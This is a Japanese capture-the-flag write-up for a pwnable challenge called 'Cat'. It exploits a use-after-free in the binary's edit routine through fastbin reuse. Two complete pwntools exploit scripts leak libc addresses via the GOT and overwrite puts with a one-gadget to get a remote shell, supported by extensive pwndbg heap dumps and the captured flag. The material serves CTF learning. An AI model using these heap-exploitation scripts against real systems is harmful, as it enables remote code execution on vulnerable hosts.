Cat(Pwnable, 67 points)
Register the cute pet! 🐱
nc 178.62.40.102 6000
Use After Free(UAF)の脆弱性を使ってあれこれする問題。
UAFとfastbinsの性質を組み合わせた問題で面白かった。
ファイル情報
# file ./Cat
Cat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=873438627f4294fb88e6b2e8aec4ac5717841809, stripped
# checksec ./Cat
[*] '(snip)/Cat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
動作概要
- pet情報の登録(create)、編集(edit)、削除(delete)や、個別pet情報の表示(print)、全pet情報の表示(print all)ができる
- pet情報は最大10(0~9)まで登録できる
- pet情報ごとに構造体(24バイト)が存在し、それらのアドレスを.bss(0x6020a0~0x6020e8)から指している
- pet情報の構造体要素は下記
- name格納領域のアドレス(8バイト)
- kind格納領域のアドレス(8バイト)
- oldの値(残り8バイトのうち4バイトを使用)
- pet情報構造体、name格納領域、kind格納領域はヒープ領域に確保され、いずれもヒープサイズが0x20のfastbin
- editの際に一時的なpet構造体が生成され、そのアドレスを.bss(0x6020f0)から指す
# ./Cat
$$$$$$$\ $$\ $$$$$$$\ $$\ $$\
$$ __$$\ $$ | $$ __$$\ \__| $$ |
$$ | $$ | $$$$$$\ $$$$$$\ $$ | $$ | $$$$$$\ $$$$$$\ $$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\
$$$$$$$ |$$ __$$\\_$$ _| $$$$$$$ |$$ __$$\ $$ __$$\ $$ |$$ _____|\_$$ _| $$ __$$\ $$ __$$\
$$ ____/ $$$$$$$$ | $$ | $$ __$$< $$$$$$$$ |$$ / $$ |$$ |\$$$$$$\ $$ | $$$$$$$$ |$$ | \__|
$$ | $$ ____| $$ |$$\ $$ | $$ |$$ ____|$$ | $$ |$$ | \____$$\ $$ |$$\ $$ ____|$$ |
$$ | \$$$$$$$\ \$$$$ | $$ | $$ |\$$$$$$$\ \$$$$$$$ |$$ |$$$$$$$ | \$$$$ |\$$$$$$$\ $$ |
\__| \_______| \____/ \__| \__| \_______| \____$$ |\__|\_______/ \____/ \_______|\__|
$$\ $$ |
\$$$$$$ |
\______/
------------------------------------------------
1: create pet record
2: edit pet record
3: print record
4: print all record
5: delete record
6: exit
------------------------------------------------
which command?
> 1
What's the pet's name?
> AAAA
What's the pet's kind?
> aaaa
How old?
> 11
create record id:0
(snip)
which command?
> 1
What's the pet's name?
> BBBB
What's the pet's kind?
> bbbb
How old?
> 22
create record id:1
(snip)
which command?
> 4
---
id: 0
name: AAAA
kind: aaaa
old: 11
---
id: 1
name: BBBB
kind: bbbb
old: 22
print all:
(snip)
which command?
> 3
which id?
> 0
name: AAAA
kind: aaaa
old: 11
print id 0
(snip)
which command?
> 2
which id?
> 1
What's the pet's name?
> ZZZZ
What's the pet's kind?
> zzzz
How old?
> 33
Would you modify? (y)/n> y
edit id 1
(snip)
which command?
> 4
---
id: 0
name: AAAA
kind: aaaa
old: 11
---
id: 1
name: ZZZZ
kind: zzzz
old: 33
print all:
(snip)
which command?
> 5
which id?
> 0
delete id 0
(snip)
which command?
> 4
---
id: 1
name: ZZZZ
kind: zzzz
old: 33
print all:
(snip)
which command?
> 6
脆弱点
edit時に実行される関数sub_0x400b74において、「Would you modify? (y)/n>」と聞かれた際に「n」と答えると、ヒープ領域に一時的に確保されたpet構造体(pet_tmp)とその要素はfreeされるが、pet_tmpを指している.bss(0x6020f0)の値はきれいにされず、そのままpet_tmpを指したままになっている。
上記の直後にcreateすると、先ほどfreeされたヒープ領域たちがmallocで返る。これらのヒープ領域は、edit側から見れば一時領域(pet_tmp)としてまだ確保している領域に見えているというUAFな状態になる。
ここで、上記edit時に「n」を選択した際のfree時に
pet構造体、name領域、kind領域
の順でfreeされるので、fastbinsのリストには
fastbin[0] -> kind領域 -> name領域 -> pet構造体( -> NULL)
のようにつながる。
その直後にcreateでmallocすると、
旧kind領域、旧name領域、旧pet構造体
の順にアドレスが返るので、.bss(0x6020f0)から見たpet_tmp構造体自身と各要素、その後のcreateで確保されるpet構造体自身と各要素の各々のアドレスは下記のように対応する。
edit時(0x6020f0から参照) | create時(0x6020a0~0x6020e8のどこかから参照) |
---|---|
pet_tmp構造体のアドレス | kind領域のアドレス |
name領域のアドレス | name領域のアドレス |
kind領域のアドレス | pet構造体のアドレス |
考察
- Partial RELROなので、どこかのGOTにOne-Gadget-RCEを書き込むことを考える。
- puts( )のGOTを使ってみる。
- edit時に.bss(0x6020f0)からpet_tmpへの参照がきれいにされないこと、同じ領域でもedit時と直後のcreate時で使われ方が違うことを利用する。
-
任意のアドレスからの読み出し
:edit時、pet_tmp構造体のkind相当領域の先頭に任意のアドレスを書き込むと、そのkind領域を(0x6020a0~0x6020e8)からpet構造体として参照したときには先頭16バイトがname領域のアドレスとkind領域のアドレスになるので、そのpet情報をprintすることで任意のアドレスの値を読み出せる(nameとkindに相当する最大2つ)。 -
任意のアドレスへの書き込み
:editでpet_tmpをfreeした直後のcreate時、pet構造体のkind相当領域の先頭に任意のアドレスを書き込むと、そのkind領域をpet_tmp構造体として参照したときには先頭16バイトがname領域のアドレスとkind領域のアドレスになるので、その後のeditにより任意のアドレスに任意の文字列を書き込める(nameとkindに相当する最大2つ)。
-
- libcが提供されていない。
- 上記の手法を使ってputs( )やread( )のGOTの値をリークさせ、その結果からlibcのバージョンを推定する。
方針
- createを実行する。(#0)
- editを実行し、「Would you modify? (y)/n>」で「n」を入力する。
- createを実行する。このときkindの値として適当な文字列を登録してしまうと4. のname登録処理で落ちてしまうので、便宜的に.bssのアドレス(0x6020b0)を登録する。(#1)
- editを実行し、kindの値としてputs( )およびread( )それぞれのGOTアドレスを登録する。ここでは「Would you modify? (y)/n>」に対して「y」を入力し、UAF状態を解除しておく。またこのとき3. の影響で.bssのアドレス(0x6020b0)にnameの入力値が反映されるので、2番目のpet構造体(#2)が存在しているように見える。
- #1の情報をprintし、puts( )およびread( )それぞれのlibc上のアドレスを取得する。
-
- で取得したアドレスからlibcのバージョンを推定する。
- 上記1. ~5. を再度実行してlibc_baseおよびOne-Gadget-RCEのアドレスを計算する。
- createを実行する。(#3)
- editを実行し、「Would you modify? (y)/n>」で「n」を入力する。
- createを実行する。このときkindの値としてputs( )のGOTアドレスを登録する。(#4)
- editを実行し、nameの値としてOne-Gadget-RCEのアドレスを登録する。
- メニュー表示時にputs( )が呼ばれ、One-Gadget-RCEが発動する。
exploit-1(libcの推定)
from pwn import *
BIN = './Cat'
elf = ELF(BIN)
puts_got = elf.got['puts']
read_got = elf.got['read']
target = '178.62.40.102'
port = 6000
conn = remote(target, port)
def create(name, kind, old):
conn.sendafter('> ', str(1))
conn.sendafter('> ', name)
conn.sendafter('> ', kind)
conn.sendafter('> ', str(old))
conn.recvline()
def edit(id, name, kind, old, flag):
conn.sendafter('> ', str(2))
conn.sendafter('> ', str(id))
conn.sendafter('> ', name)
conn.sendafter('> ', kind)
conn.sendafter('> ', str(old))
conn.sendafter('> ', flag)
conn.recvline()
def print_pet(id):
conn.sendafter('> ', str(3))
conn.sendafter('> ', str(id))
res = conn.recvuntil('print id').split('\n')[:-1]
return res
create('A'*8, 'a'*8, 0x11)
edit(0, 'B'*8, 'b'*8, 0x22, 'n')
create('Z'*8, p64(0x6020b0), 0x33)
edit(0, 'HOGE', p64(puts_got) + p64(read_got), 0x22, 'y')
puts_libc = u64(print_pet(1)[0].split(': ')[1].ljust(8, '\0'))
read_libc = u64(print_pet(1)[1].split(': ')[1].ljust(8, '\0'))
log.info('puts_libc: {0}'.format(hex(puts_libc)))
log.info('read_libc: {0}'.format(hex(read_libc)))
conn.interactive()
conn.close()
検証メモ-1
1.
createを実行する。(#0)
pwndbg> telescope 0x6020a0
00:0000│ 0x6020a0 —▸ 0x770010 —▸ 0x770030 ◂— 0x41414141414141 /* 'AAAAAAA' */
01:0008│ 0x6020a8 ◂— 0x0
pwndbg> x/30gx 0x770000
0x770000: 0x0000000000000000 0x0000000000000021
0x770010: 0x0000000000770030 0x0000000000770050
0x770020: 0x0000000000000011 0x0000000000000021
0x770030: 0x0041414141414141 0x0000000000000000
0x770040: 0x0000000000000000 0x0000000000000021
0x770050: 0x0061616161616161 0x0000000000000000
0x770060: 0x0000000000000000 0x0000000000020fa1
2.
editを実行し、「Would you modify? (y)/n>」で「n」を入力する。
pwndbg> telescope 0x6020a0
00:0000│ 0x6020a0 —▸ 0x770010 —▸ 0x770030 ◂— 0x41414141414141 /* 'AAAAAAA' */
01:0008│ 0x6020a8 ◂— 0x0
pwndbg> telescope 0x6020f0
00:0000│ 0x6020f0 —▸ 0x770070 ◂— 0x0
01:0008│ 0x6020f8 ◂— 0x0
pwndbg> x/30gx 0x770000
0x770000: 0x0000000000000000 0x0000000000000021
0x770010: 0x0000000000770030 0x0000000000770050
0x770020: 0x0000000000000011 0x0000000000000021
0x770030: 0x0041414141414141 0x0000000000000000
0x770040: 0x0000000000000000 0x0000000000000021
0x770050: 0x0061616161616161 0x0000000000000000
0x770060: 0x0000000000000000 0x0000000000000021
0x770070: 0x0000000000000000 0x00000000007700b0
0x770080: 0x0000000000000022 0x0000000000000021
0x770090: 0x0000000000770060 0x0000000000000000
0x7700a0: 0x0000000000000000 0x0000000000000021
0x7700b0: 0x0000000000770080 0x0000000000000000
0x7700c0: 0x0000000000000000 0x0000000000020f41
pwndbg> heapinfo
(0x20) fastbin[0]: 0x7700a0 --> 0x770080 --> 0x770060 --> 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x7700c0 (size : 0x20f40)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
3.
createを実行する。このときkindの値として適当な文字列を登録してしまうと4. のname登録処理で落ちてしまうので、便宜的に.bssのアドレス(0x6020b0)を登録する。(#1)
pwndbg> telescope 0x6020a0
00:0000│ 0x6020a0 —▸ 0x770010 —▸ 0x770030 ◂— 0x41414141414141 /* 'AAAAAAA' */
01:0008│ 0x6020a8 —▸ 0x7700b0 —▸ 0x770090 ◂— 0x5a5a5a5a5a5a5a /* 'ZZZZZZZ' */
02:0010│ 0x6020b0 ◂— 0x0
pwndbg> x/30gx 0x770000
0x770000: 0x0000000000000000 0x0000000000000021
0x770010: 0x0000000000770030 0x0000000000770050
0x770020: 0x0000000000000011 0x0000000000000021
0x770030: 0x0041414141414141 0x0000000000000000
0x770040: 0x0000000000000000 0x0000000000000021
0x770050: 0x0061616161616161 0x0000000000000000
0x770060: 0x0000000000000000 0x0000000000000021
0x770070: 0x00000000006020b0 0x00000000007700b0
0x770080: 0x0000000000000022 0x0000000000000021
0x770090: 0x005a5a5a5a5a5a5a 0x0000000000000000
0x7700a0: 0x0000000000000000 0x0000000000000021
0x7700b0: 0x0000000000770090 0x0000000000770070
0x7700c0: 0x0000000000000033 0x0000000000020f41
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x7700c0 (size : 0x20f40)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
4.
editを実行し、kindの値としてputs( )およびread( )それぞれのGOTアドレス(0x602028、0x602048)を登録する。ここでは「Would you modify? (y)/n>」に対して「y」を入力し、UAF状態を解除しておく。
pwndbg> telescope 0x6020a0
00:0000│ 0x6020a0 —▸ 0x770070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│ 0x6020a8 —▸ 0x7700b0 —▸ 0x602028 —▸ 0x7f76f09a1690 (puts) ◂— push r12
02:0010│ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│ 0x6020b8 ◂— 0x0
pwndbg> telescope 0x6020f0
00:0000│ 0x6020f0 ◂— 0x0
pwndbg> x/30gx 0x770000
0x770000: 0x0000000000000000 0x0000000000000021
0x770010: 0x0000000000770040 0x0000000000770050
0x770020: 0x0000000000000011 0x0000000000000021
0x770030: 0x0000000000000000 0x0000000000000000
0x770040: 0x0000000000000000 0x0000000000000021
0x770050: 0x0000000000770020 0x0000000000000000
0x770060: 0x0000000000000000 0x0000000000000021
0x770070: 0x00000000006020b0 0x00000000007700b0
0x770080: 0x0000000000000022 0x0000000000000021
0x770090: 0x005a5a5a5a5a5a5a 0x0000000000000000
0x7700a0: 0x0000000000000000 0x0000000000000021
0x7700b0: 0x0000000000602028 0x0000000000602048
0x7700c0: 0x0000000000000033 0x0000000000020f41
pwndbg> heapinfo
(0x20) fastbin[0]: 0x770000 --> 0x770040 --> 0x770020 --> 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x7700c0 (size : 0x20f40)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
5.
#1の情報をprintし、puts( )およびread( )それぞれのlibc上のアドレスを取得する。
6.
5. で取得したアドレスからlibcのバージョンを推定する。
[*] puts_libc: 0x7f76f09a1690
[*] read_libc: 0x7f76f0a29250
(snip)/libc-database# ./find puts 690 read 250
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
# one_gadget -f libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
- 推定されたlibcにおいて、
- One-Gadget-RCEのオフセットは0x45216など
exploit-2(shell取る)
from pwn import *
BIN = './Cat'
LIBC = './libc.so.6'
elf = ELF(BIN)
libc = ELF(LIBC)
puts_got = elf.got['puts']
puts_offset = libc.symbols['puts']
read_got = elf.got['read']
read_offset = libc.symbols['read']
onegadget_offset = 0x45216
target = '178.62.40.102'
port = 6000
conn = remote(target, port)
def create(name, kind, old):
conn.sendafter('> ', str(1))
conn.sendafter('> ', name)
conn.sendafter('> ', kind)
conn.sendafter('> ', str(old))
conn.recvline()
def edit(id, name, kind, old, flag):
conn.sendafter('> ', str(2))
conn.sendafter('> ', str(id))
conn.sendafter('> ', name)
conn.sendafter('> ', kind)
conn.sendafter('> ', str(old))
conn.sendafter('> ', flag)
conn.recvline()
def print_pet(id):
conn.sendafter('> ', str(3))
conn.sendafter('> ', str(id))
res = conn.recvuntil('print id').split('\n')[:-1]
return res
create('A'*8, 'a'*8, 0x11)
edit(0, 'B'*8, 'b'*8, 0x22, 'n')
create('Z'*8, p64(0x6020b0), 0x33)
edit(0, 'HOGE', p64(puts_got) + p64(read_got), 0x22, 'y')
puts_libc = u64(print_pet(1)[0].split(': ')[1].ljust(8, '\0'))
read_libc = u64(print_pet(1)[1].split(': ')[1].ljust(8, '\0'))
log.info('puts_libc: {0}'.format(hex(puts_libc)))
log.info('read_libc: {0}'.format(hex(read_libc)))
libc_base = puts_libc - puts_offset
onegadget = libc_base + onegadget_offset
log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('onegadget: {0}'.format(hex(onegadget)))
create('A'*8, 'a'*8, 0x11)
edit(3, 'B'*8, 'b'*8, 0x22, 'n')
create('Z'*8, p64(puts_got), 0x33)
edit(3, p64(onegadget), 'FUGA', 0x22, 'y')
conn.interactive()
conn.close()
検証メモ-2
7.
上記1. ~5. を再度実行してlibc_baseおよびOne-Gadget-RCEのアドレスを計算する。
[*] puts_libc: 0x7fe6726c4690
[*] read_libc: 0x7fe67274c250
[*] libc_base: 0x7fe672655000
[*] onegadget: 0x7fe67269a216
8.
createを実行する。(#3)
pwndbg> telescope 0x6020a0
00:0000│ 0x6020a0 —▸ 0x1a28070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│ 0x6020a8 —▸ 0x1a280b0 —▸ 0x602028 —▸ 0x7fe6726c4690 (puts) ◂— push r12
02:0010│ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│ 0x6020b8 —▸ 0x1a28010 —▸ 0x1a28050 ◂— 0x41414141414141 /* 'AAAAAAA' */
04:0020│ 0x6020c0 ◂— 0x0
pwndbg> telescope 0x6020f0
00:0000│ 0x6020f0 ◂— 0x0
pwndbg> x/30gx 0x1a28000
0x1a28000: 0x0000000000000000 0x0000000000000021
0x1a28010: 0x0000000001a28050 0x0000000001a28030
0x1a28020: 0x0000000000000011 0x0000000000000021
0x1a28030: 0x0061616161616161 0x0000000000000000
0x1a28040: 0x0000000000000000 0x0000000000000021
0x1a28050: 0x0041414141414141 0x0000000000000000
0x1a28060: 0x0000000000000000 0x0000000000000021
0x1a28070: 0x00000000006020b0 0x0000000001a280b0
0x1a28080: 0x0000000000000022 0x0000000000000021
0x1a28090: 0x005a5a5a5a5a5a5a 0x0000000000000000
0x1a280a0: 0x0000000000000000 0x0000000000000021
0x1a280b0: 0x0000000000602028 0x0000000000602048
0x1a280c0: 0x0000000000000033 0x0000000000020f41
0x1a280d0: 0x0000000000000000 0x0000000000000000
0x1a280e0: 0x0000000000000000 0x0000000000000000
9.
editを実行し、「Would you modify? (y)/n>」で「n」を入力する。
pwndbg> telescope 0x6020a0
00:0000│ 0x6020a0 —▸ 0x1a28070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│ 0x6020a8 —▸ 0x1a280b0 —▸ 0x602028 —▸ 0x7fe6726c4690 (puts) ◂— push r12
02:0010│ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│ 0x6020b8 —▸ 0x1a28010 —▸ 0x1a28050 ◂— 0x41414141414141 /* 'AAAAAAA' */
04:0020│ 0x6020c0 ◂— 0x0
pwndbg> telescope 0x6020f0
00:0000│ 0x6020f0 —▸ 0x1a280d0 ◂— 0x0
01:0008│ 0x6020f8 ◂— 0x0
pwndbg> x/40gx 0x1a28000
0x1a28000: 0x0000000000000000 0x0000000000000021
0x1a28010: 0x0000000001a28050 0x0000000001a28030
0x1a28020: 0x0000000000000011 0x0000000000000021
0x1a28030: 0x0061616161616161 0x0000000000000000
0x1a28040: 0x0000000000000000 0x0000000000000021
0x1a28050: 0x0041414141414141 0x0000000000000000
0x1a28060: 0x0000000000000000 0x0000000000000021
0x1a28070: 0x00000000006020b0 0x0000000001a280b0
0x1a28080: 0x0000000000000022 0x0000000000000021
0x1a28090: 0x005a5a5a5a5a5a5a 0x0000000000000000
0x1a280a0: 0x0000000000000000 0x0000000000000021
0x1a280b0: 0x0000000000602028 0x0000000000602048
0x1a280c0: 0x0000000000000033 0x0000000000000021
0x1a280d0: 0x0000000000000000 0x0000000001a28110
0x1a280e0: 0x0000000000000022 0x0000000000000021
0x1a280f0: 0x0000000001a280c0 0x0000000000000000
0x1a28100: 0x0000000000000000 0x0000000000000021
0x1a28110: 0x0000000001a280e0 0x0000000000000000
0x1a28120: 0x0000000000000000 0x0000000000020ee1
pwndbg> heapinfo
(0x20) fastbin[0]: 0x1a28100 --> 0x1a280e0 --> 0x1a280c0 --> 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x1a28120 (size : 0x20ee0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
10.
createを実行する。このときkindの値としてputs( )のGOTアドレス(0x602028)を登録する。(#4)
pwndbg> telescope 0x6020a0
00:0000│ 0x6020a0 —▸ 0x1a28070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│ 0x6020a8 —▸ 0x1a280b0 —▸ 0x602028 —▸ 0x7fe6726c4690 (puts) ◂— push r12
02:0010│ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│ 0x6020b8 —▸ 0x1a28010 —▸ 0x1a28050 ◂— 0x41414141414141 /* 'AAAAAAA' */
04:0020│ 0x6020c0 —▸ 0x1a28110 —▸ 0x1a280f0 ◂— 0x5a5a5a5a5a5a5a /* 'ZZZZZZZ' */
05:0028│ 0x6020c8 ◂— 0x0
pwndbg> telescope 0x6020f0
00:0000│ 0x6020f0 —▸ 0x1a280d0 —▸ 0x602028 —▸ 0x7fe6726c4690 (puts) ◂— push r12
01:0008│ 0x6020f8 ◂— 0x0
pwndbg> x/40gx 0x1a28000
0x1a28000: 0x0000000000000000 0x0000000000000021
0x1a28010: 0x0000000001a28050 0x0000000001a28030
0x1a28020: 0x0000000000000011 0x0000000000000021
0x1a28030: 0x0061616161616161 0x0000000000000000
0x1a28040: 0x0000000000000000 0x0000000000000021
0x1a28050: 0x0041414141414141 0x0000000000000000
0x1a28060: 0x0000000000000000 0x0000000000000021
0x1a28070: 0x00000000006020b0 0x0000000001a280b0
0x1a28080: 0x0000000000000022 0x0000000000000021
0x1a28090: 0x005a5a5a5a5a5a5a 0x0000000000000000
0x1a280a0: 0x0000000000000000 0x0000000000000021
0x1a280b0: 0x0000000000602028 0x0000000000602048
0x1a280c0: 0x0000000000000033 0x0000000000000021
0x1a280d0: 0x0000000000602028 0x0000000001a28110
0x1a280e0: 0x0000000000000022 0x0000000000000021
0x1a280f0: 0x005a5a5a5a5a5a5a 0x0000000000000000
0x1a28100: 0x0000000000000000 0x0000000000000021
0x1a28110: 0x0000000001a280f0 0x0000000001a280d0
0x1a28120: 0x0000000000000033 0x0000000000020ee1
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x1a28120 (size : 0x20ee0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
11.
editを実行し、nameの値としてOne-Gadget-RCEのアドレスを登録する。
pwndbg> telescope 0x6020a0
00:0000│ 0x6020a0 —▸ 0x1a28070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│ 0x6020a8 —▸ 0x1a280b0 —▸ 0x602028 —▸ 0x7fe67269a216 (do_system+1014) ◂— lea rsi, [rip + 0x381343]
02:0010│ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│ 0x6020b8 —▸ 0x1a280d0 —▸ 0x602028 —▸ 0x7fe67269a216 (do_system+1014) ◂— lea rsi, [rip + 0x381343]
04:0020│ 0x6020c0 —▸ 0x1a28110 ◂— 0x475546 /* 'FUG' */
05:0028│ 0x6020c8 ◂— 0x0
pwndbg> telescope 0x6020f0
00:0000│ 0x6020f0 ◂— 0x0
pwndbg> x/40gx 0x1a28000
0x1a28000: 0x0000000000000000 0x0000000000000021
0x1a28010: 0x0000000001a28020 0x0000000001a28030
0x1a28020: 0x0000000000000011 0x0000000000000021
0x1a28030: 0x0000000001a28040 0x0000000000000000
0x1a28040: 0x0000000000000000 0x0000000000000021
0x1a28050: 0x0000000000000000 0x0000000000000000
0x1a28060: 0x0000000000000000 0x0000000000000021
0x1a28070: 0x00000000006020b0 0x0000000001a280b0
0x1a28080: 0x0000000000000022 0x0000000000000021
0x1a28090: 0x005a5a5a5a5a5a5a 0x0000000000000000
0x1a280a0: 0x0000000000000000 0x0000000000000021
0x1a280b0: 0x0000000000602028 0x0000000000602048
0x1a280c0: 0x0000000000000033 0x0000000000000021
0x1a280d0: 0x0000000000602028 0x0000000001a28110
0x1a280e0: 0x0000000000000022 0x0000000000000021
0x1a280f0: 0x005a5a5a5a5a5a5a 0x0000000000000000
0x1a28100: 0x0000000000000000 0x0000000000000021
0x1a28110: 0x0000000000475546 0x0000000001a280d0
0x1a28120: 0x0000000000000033 0x0000000000020ee1
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 11
(snip)
[0x602028] puts@GLIBC_2.2.5 -> 0x7fe6726c4690 (puts) ◂— push r12
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 11
(snip)
[0x602028] puts@GLIBC_2.2.5 -> 0x7fe67269a216 (do_system+1014) ◂— lea rsi, [rip + 0x381343]
12.
メニュー表示時にputs( )が呼ばれ、One-Gadget-RCEが発動する。
[+] Opening connection to 178.62.40.102 on port 6000: Done
[*] puts_libc: 0x7fe6726c4690
[*] read_libc: 0x7fe67274c250
[*] libc_base: 0x7fe672655000
[*] onegadget: 0x7fe67269a216
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ pwd
/
$ cd /home/pwn
$ ls
flag
pwn
$ cat flag
ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}